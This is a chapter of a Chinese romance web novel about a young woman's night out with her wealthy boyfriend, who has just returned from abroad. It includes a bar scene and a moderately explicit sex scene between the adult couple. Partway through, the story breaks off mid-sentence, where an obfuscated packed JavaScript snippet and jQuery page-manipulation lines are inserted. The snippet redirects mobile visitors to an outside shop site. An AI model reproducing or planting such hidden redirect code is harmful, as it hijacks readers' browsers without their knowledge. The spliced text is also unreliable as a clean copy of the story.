默认冷灰
24号文字
方正启体

2. 第 2 章

作者:七里马本书字数:K更新时间:
    “怎么谢哥一上来就中了美人计?”


    迷醉闪烁的灯光中,王坦揶揄着,倒也不忘将剩下的两杯香槟推过去。


    谢孟渊一一端起,仰头喝了。


    最后一个空杯子由他那双骨节分明的手往下捏着,虚虚拎在手里。


    杯底在暗色地毯上投下一小片五彩的光斑。


    “别让她喝了。”谢孟渊将空杯搁回桌面,“她待会儿要开车送我回去。”


    王坦笑起来:“代驾哪不能找啊,我现在就能给你叫七个八个来?”


    他嘴上这么说,心里却门儿清——谢孟渊的意思是别给庾倩倩灌酒。


    毕竟今晚是专门给谢孟渊回国接风洗尘的,主角都发话了,也不好太过。


    “行吧行吧,那接下来我们玩行酒令。”王坦显然深谙酒局之道,抬手招来服务员,让人再把香槟塔摆上。


    他转过头,跟周边的人猜拳玩了起来。男男女女围成一圈,手势翻飞,喊声此起彼伏。


    这酒都是灌周围女生的,输了就要喝,玩得很开。有女生娇嗔着推搡,男生笑嘻嘻地灌,酒液顺着下巴淌进领口,惹出一阵尖叫和哄笑。


    庾倩倩端了杯冰水,靠坐在沙发上,慢慢地抿着。


    冰块在杯中轻轻碰撞,她含笑看着眼前的热闹,偶尔跟着起哄两句,像是乐在其中。


    她偏头朝向谢孟渊,凑近了些。


    “我去上个厕所。”


    庾倩倩站起身,从沙发和茶几之间的窄缝里侧身挤出去。


    直到目送她娉婷地起身走远,身影消失在楼梯口的转角,王坦才收回视线,凑近谢孟渊,压低了声音:“谢哥,你跟庾倩倩是高中就开始谈了吧?”


    “嗯。”谢孟渊淡淡应了一声。


    他手中举着剩半杯的金橙色香槟,手指环着杯柱,拇指在杯壁上摩挲了一下。


    已经喝了七八杯了,他酒量向来很好,一点醉意都没有,眼神清明得像刚从会议室走出来。


    “真是长情啊。”王坦感叹,“这都……六七年了吧?我都换了七八个女朋友了,你倒好,还没换呢。”


    他说这话时语气轻飘飘的,手搭在身边女伴的肩上,拇指画着圈,那女生的吊带不知什么时候滑下去半根,露出圆润的肩头,他凑过去咬了一口。


    谢孟渊笑了一下:“我在国外的功课还有生活上的事,都是她打理的。”


    “唔。”王坦立刻接话,“漂亮又能办事,怪不得谢哥专程带她一块出国留学呢,可比我身边这些小婊子好多了。”


    谢孟渊对他这个作派轻微不悦,没表现出来。


    王坦高中毕业后,上了个野鸡大学,短短三年他们之间的生活圈子和观念就产生了很大的不同。


    只不过他们都在一个城市,家里生意来往,更有同校的情谊。


    身边有个女生喝多了,软软地朝他趴过来,脑袋往他肩上靠。


    王坦恶作剧一般,往她胸口里倒酒。


    那女生哼了一声,身体晃了晃,拍了拍他:“讨厌,新买的衣服!”


    “给你买!”王坦浑然不在意地回答,转回头继续跟谢孟渊说话,“那你这次回来,是要回家里的公司上班?”


    谢孟渊点点头,杯中的酒液随着动作轻轻一晃。


    “你爸真好,还想着培养你。”王坦叹了口气,语气里多了一丝真切的羡慕和抱怨,“我爸呀,不让我参与公司的一点事,说我还不够格,当个二世祖就行。”


    “能轻轻松松地过日子,不也挺好?”谢孟渊含笑。


    “也是。”王坦咧了咧嘴,“对了,你爸是要撮合你跟那个何凡月相亲吧?”


    王坦自顾自地往下说:“她之前可跟我另一个朋友万宇谈过呢,还跟现在一个流量小生在谈——别提多娇气了,吃个饭挑三拣四的,上次我们去日料,她说那家三文鱼不够新鲜,当场就让人换了一家。”


    他边说边摇头,但语气里又带着某种微妙的羡慕,毕竟何凡月家里的股票那真是涨了又涨,踩中风口喽。


    “不过她是个颜控。”王坦打量打量谢孟渊,目光从他的眉眼滑到下颌,又落到他握着酒杯的手上,“你要是追她,估计不会拒绝。你这张脸,往那儿一坐,什么都不用说就能成。”


    谢孟渊没有接话,只是将酒杯送到唇边,抿了一口。


    洗手间里,眼前的镜子很大,从台面一直延伸到天花板,嵌在一圈暖黄色的灯带里。


    顶灯将她的脸照得毫无阴影,每一寸皮肤都暴露在光下——白皙,细腻,没有一丝瑕疵。


    庾倩倩一边打量自己,一边洗手。


    慢慢地搓着手,指缝,手背,掌心,纯粹地浪费时间。


    门口前后脚进来两个女生。


    第一个女生黑长直,头发斜斜地拨到了肩膀的一侧,露出一截雪白的颈侧。


    抹胸黑色小短裙裹着她纤瘦的身体,锁骨、肩胛、后背都大片的裸露着,皮肤在灯光下白得发冷。


    她脚踩一双细跟高跟鞋,鞋跟至少有十厘米,走路时发出哒哒哒声响。


    她走到洗手台前,对着镜子左右转了转脸,检查了一下眼线有没有晕开,然后打开水龙头,只是湿了湿指尖,便关了。


    第二个女生穿红裙,颜色很正,像熟透的番茄。她比黑衣女生矮半头,身材更丰满些,裙子的领口开得很低,露出一道深深的阴影。


    她弯腰凑近镜子,拧开口红,仔仔细细地沿着唇线描了一遍,嘴唇本来就是饱满的,这一描更显得丰润欲滴。


    黑衣女生洗完了手,甩了甩指尖的水珠,转身问:“待会你跟谁出去?”


    “看待会儿谁最大方呗。”红裙女生对着镜子抿了抿嘴唇,上下唇一压,多余的唇色均匀地晕开,“你是跟刘少?”


    黑衣女生笑了,笑声很轻:“是啊,待会可别又在一家酒店撞到了。最怕他们玩那个什么乱七八糟的游戏,成天里想一些花招。”


    红裙女生也笑了,把口红旋回去,塞进手拿包里:“我们这种人,人家说什么我们做什么呗。”


    她们只短短说了几句话,根本不在意其他人听到。


    补完妆便转身出去了,高跟鞋的声音嗒嗒嗒地远去,被外面的音乐吞没。


    庾倩倩将手伸到附近的吹风机下,温热的空气涌出来,扑在她的手背上。


    风很暖,带着轻微的嗡嗡声。


    她低着头,看着热风把水珠一点一点吹干,皮肤从湿润变得干燥。


    她的神情淡漠,眉眼是安静的,嘴角没有上扬也没有下垂,像一面没有波澜的湖。


    空气里还残留着那两个女生留下的香水味,一种甜腻的花香,混着酒精和口红的气息。


    庾倩倩拉开门,走了出去。


    抬头。


    二楼的雅座就在前方不远处,半人高的玻璃围栏后面,谢孟渊和王坦正举着酒杯说说笑笑。


    王坦的手臂搭在沙发靠背上,整个人斜倚着,松弛得像没长骨头。


    谢孟渊坐得端正些,但也算不上板正,只是脊背没有完全贴靠沙发,手里握着酒杯,偶尔低头听王坦说什么,偶尔抬眼看向舞池。


    庾倩倩站在那里,没有立刻走上去。


    她陪伴他出入各种地方,但她知道,他们并不是一个世界的人。


    谢孟渊比庾倩倩大一岁,他们是同届,所以才能一起去英国留学,说起来,也是她蹭了他的条件。


    他今天穿着银丝的条纹白衬衫,没有系领带,领口微敞,露出一截锁骨。


    袖口随意地卷到小臂,手腕上戴着一块低调的表,表盘是深蓝色的,在灯光下偶尔闪一下。


    发丝短而粗硬,灯光从头顶洒下来,在他的发顶镀了一层暗金色的光圈,流光溢彩,好像一个高高在上的王者,跟今日见到的雨中程嘉良截然不同。


    同时利落的乌黑短发,程嘉良的头发便看起来很软很细。


    两个人都有一米八几的个子,比例匀称。


    谢孟渊的身形显得比程嘉良要更宽阔一些,肩膀更宽,骨架更大,肌肉的线条隔着衬衫也能看出一二。


    五官英俊,却是不同的风格——谢孟渊硬气沉稳,眉眼间带着习惯的自信和桀骜;程嘉良则温润舒朗,安静平和。


    这个酒吧,就不是程嘉良会出现的地方,当然也是因为,他也没有钱来。


    庾倩倩没有去二楼,而是直接走进了舞池。


    干冰的白雾还在吞吐,漫过脚踝,凉丝丝的。紫色和蓝色的光束交错扫射,照在雾气上。


    DJ换了一首歌,是首轻柔舒缓的女音,旋律绵软,好久没有回国,从没听过这首歌。


    很好听。


    人群安静下来,从刚才摇滚的剧烈蹦跳中缓过劲来。有人靠在吧台上喝水,有人搂着舞伴的腰慢慢晃,有人低头看手机,屏幕的光映在脸上,蓝莹莹的。


    庾倩倩走进舞池,让音乐和光影包裹住自己。


    直到过了半个多小时,她才回去。


    “去哪了,怎么这么久?”谢孟渊问。


    “蹦迪呢。”庾倩倩快乐地回答,坐下时她仔细端详了他的脸,低声凑到他耳边,“别喝那么多。”


    谢孟渊微微偏头,眼睛里没有任何醉意,反而带着一丝玩味:“刚刚不是你让我帮你挡酒?”


    “可以挡酒。”庾倩倩叮嘱,“但不能喝多。”


    谢孟渊看着她,嘴角慢慢勾起来:“歪理。”


    语气介于调侃和纵容之间,是恰到好处的受用。


    庾倩倩拿出手机看了一眼,屏幕上的数字跳到了22:03。


    “你是要回去还是要再玩会儿?”她把手机扣回腿上,侧头问他。


    “你想回去?”


    “嗯,时差还没倒过来。想回去睡觉了。你要还想玩我可以先走。”


    谢孟渊牵起她的手,在她掌指中间的骨节处捏了捏:“行,我们回去。”


    “王坦,我得回去了。”谢孟渊从不墨迹。


    “啊?”王坦的失望之情溢于言表,他正猜拳猜得兴起,袖子都撸了上去,露出半截花臂,“这就走了?还没到第二场呢,不再玩会儿?还有好几个朋友要来呢,准备给你介绍。”


    “明天要去公司上班。”谢孟渊语气平淡,“不好迟到。下回吧。”


    “这倒是。行吧。既然你有正事,那我就不留你了。”


    “下次我请你。”谢孟渊客气。


    “嗨,咱两兄弟谁跟谁?谁请都一样。”王坦笑了,露出一口整齐的白牙,“倩倩也走?你可以留下来玩啊!”


    “不了,我得开车呢。”庾倩倩眉眼弯弯地笑,从沙发上拿起自己的包,勾在手腕上,跟在谢孟渊身后。


    两人一前一后走出酒吧。


    推开门的一瞬,夜风迎面扑来。


    风不大,带着雨后特有的湿润和凉意,将酒吧里黏腻的热气和酒气一并吹散。


    “开你的车。”这句话是肯定句,庾倩倩从谢孟渊手里按了车钥匙,车灯闪了两下。


    庾倩倩上前打开后车门,一手扶着车门,一手示意他进去:“你喝了酒,坐后车座,休息会儿。”


    她贴心地将车窗要到半开,靠枕放在座位上。


    谢孟渊抵在她的后腰,熟稔地滑过,随后弯腰进去,靠着座椅,闭上眼。


    庾倩倩关上门,绕到驾驶座,拉开门坐进去。


    “要不要喝点水?”


    “不用。”


    庾倩倩没有再说话,系上安全带,挂挡,车子平稳地滑出车位。


    夜里的城市车流稀疏了许多,路灯一盏接一盏地从车窗外滑过,橘黄色的光在车内投下流动的光影。


    谢孟渊在后座始终闭着眼休息。


    公寓是回国之前谢孟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589441|205423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    渊早就让人准备好的。


    位于城东的高层住宅,一梯一户,私密性极好。


    玄关处铺着深灰色的地毯,鞋柜上放着一束白色的栀子花,是他喜欢的味道。


    门推开,玄关的感应灯亮起来,暖黄色的光洒在两个人身上。


    公寓崭新敞亮,每一样东西都是全新的。


    厨房的台面上干干净净,冰箱里塞满了提前备好的食材和饮品,客厅的茶几上摆着一盘水果和一瓶没拆封的威士忌,空调在最舒适的27度,湿度50%,财富总是令人轻易地适应任何环境。


    行李箱还放在客厅中间,一大一小,挨在一起。他们中午落地,各自处理了一点事,还没来得及收拾。


    谢孟渊换了拖鞋,走到沙发前坐下。


    他微微后仰,靠在沙发背上,闭了闭眼,捏鼻梁。”


    庾倩倩将两个人的鞋从鞋柜里摆好,又将行李箱推到墙边,腾出客厅的过道。


    “你先洗澡吧,我要洗很久的。”说着,她走进卧室,打开衣柜。


    衣服早就提前寄了过来,谢家的保姆提前来收拾过。


    整个衣柜全是谢孟渊的衣服,颜色以黑、白、灰为主,偶尔有几件深蓝和墨绿。


    庾倩倩拿出浴袍,叠好搭在手臂上,又拿了一条干净的浴巾。


    她走进浴室,将浴巾搭在架子上,浴袍挂在门后的挂钩上,水温调好,不冷不热,刚好是他习惯的温度。


    “都准备好了。”她走出来。


    谢孟渊起身,走进浴室。


    不到半个小时,他出来了。


    头发半干,有几缕垂在额前,比平时多了几分随意和慵懒。浴袍松松地系着,领口大敞,露出锁骨和胸口的皮肤,还带着沐浴后的热气。


    庾倩倩在客厅里,把箱子打开,将明天要用东西挑出来,其他的暂时归拢到一边,合上箱子推到墙角。


    稍后她拿了自己的衣服,走进浴室。


    浴室里还残留着水汽和沐浴露的味道——是他用的那款,木质调的,前调是佛手柑,后调是雪松和麝香。


    拧开水龙头,浴缸的水哗哗地流出来,热气蒸腾而上,很快弥漫了整个空间。


    脱了衣服,试了试水温,慢慢躺进浴缸里。


    热水漫过她的身体,从脚踝到小腿,从小腹到胸口,最后只露出锁骨以上的部分。


    她长长地呼出一口气,感觉紧绷了一整天的身体终于松弛下来。


    不知过了多久。


    浴室门被敲响了,稍后被推开,谢孟渊探进半个身体。


    “你化冰淇淋呢?洗这么久?”


    庾倩倩坐在浴缸中,热水漫到锁骨,水面浮着一层细密的气泡,确实像枚冰淇淋。


    她没有遮掩,也没有躲闪,只是微微侧了一下头,湿发贴着脖颈,轻言巧笑:“快了。”


    水珠从她的发梢滴落,在肩窝里聚成一小汪。


    谢孟渊眸色微深,走上前一只手从她的膝弯下穿过,另一只手臂揽住她的后背,将她打横从浴缸里抱起。


    “我还没擦干呢。”庾倩倩下意识地勾住他的脖子,身体悬空。


    她偏头看向门口,伸出手臂,够到门边挂着的浴巾,扯了下来。


    谢孟渊把她放在床上,说:“我帮你擦。”


    谢孟渊压了上来。


    身体很沉,带着沐浴后的温热气息。


    他解开浴袍带子,胸口贴着她的皮肤,心跳隔着薄薄的胸腔。手从她的小腿一点点捋上去,指腹带着薄茧,摩挲过她的皮肤,带起温热。


    窗外开始下雨。


    不是那种铺天盖地的暴雨,而是细细密密、连绵不断地春雨。


    雨声越来越大,越来越密。


    玻璃上结了一层雾气,水珠顺着窗面滑下去,留下一道道蜿蜒的痕迹。


    他们在一起这么多年,很是和谐。


    谢孟渊让她转身就转身,坐起来就坐起来,他年轻又健身,精力充沛,就算今天显而易见有些累了,还是能坚持许久。


    卧室的门没有关,走廊的光线斜着切进来,在深色的木地板上拉出一道亮痕。


    一个多小时后,庾倩倩缓缓转过头。


    谢孟渊光裸着结实的背,被褥盖在腰部,一条胳膊搭在她胸口,趴在床上睡着了。


    庾倩倩无声挪开他的胳膊,起身。


    身体还有些发软,脚踩在地板上没什么力气,床边的地毯上扔着两个保险套,她抽出纸巾隔着捡起来,扔进垃圾桶里。


    他的浴袍扔在地上,她捡起来走进浴室。同她换下来的衣服,一块儿放进洗衣机里。


    再在浴室里重新擦干身体,系上睡衣的腰带,这才走出浴室。


    快十二点了。


    客厅的灯还亮着,暖黄色的光照在每一件崭新的家具上。


    她从吧台拿出一瓶鸡尾酒,再从冰箱里拿出一个冰杯,缓缓将酒液倒入杯中。


    夜阑人静,她长长吐出一口气,端着酒杯走到窗台。


    落地窗很高,从地面一直延伸到天花板,像一面巨大的黑色镜面。


    楼下是黑漆漆的一片,隐约能看见一点雨雾。


    下雨了。


    这会儿才下,一个城市的雨都分布不均。


    庾倩倩静静看向远处,楼底下只有黑漆漆的一片,以及雨雾中的几点霓虹光斑。


    高层住宅安静,家具也好,竟是一点空调换气声都听不到。


    许久,她朝着玻璃窗呵出一口热气。


    白雾在冰凉的玻璃上凝成一小片模糊的水汽。她伸出手指,在那片水汽上画了一个心形,随后再用食指在中间划了一痕,将它切开。


    酒液从杯壁滑进口中,顺着喉咙滑下去,清冽地熨贴她的肺腑。


    她知道谢孟渊为什么回国。


    他们的关系,终于……要结束了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)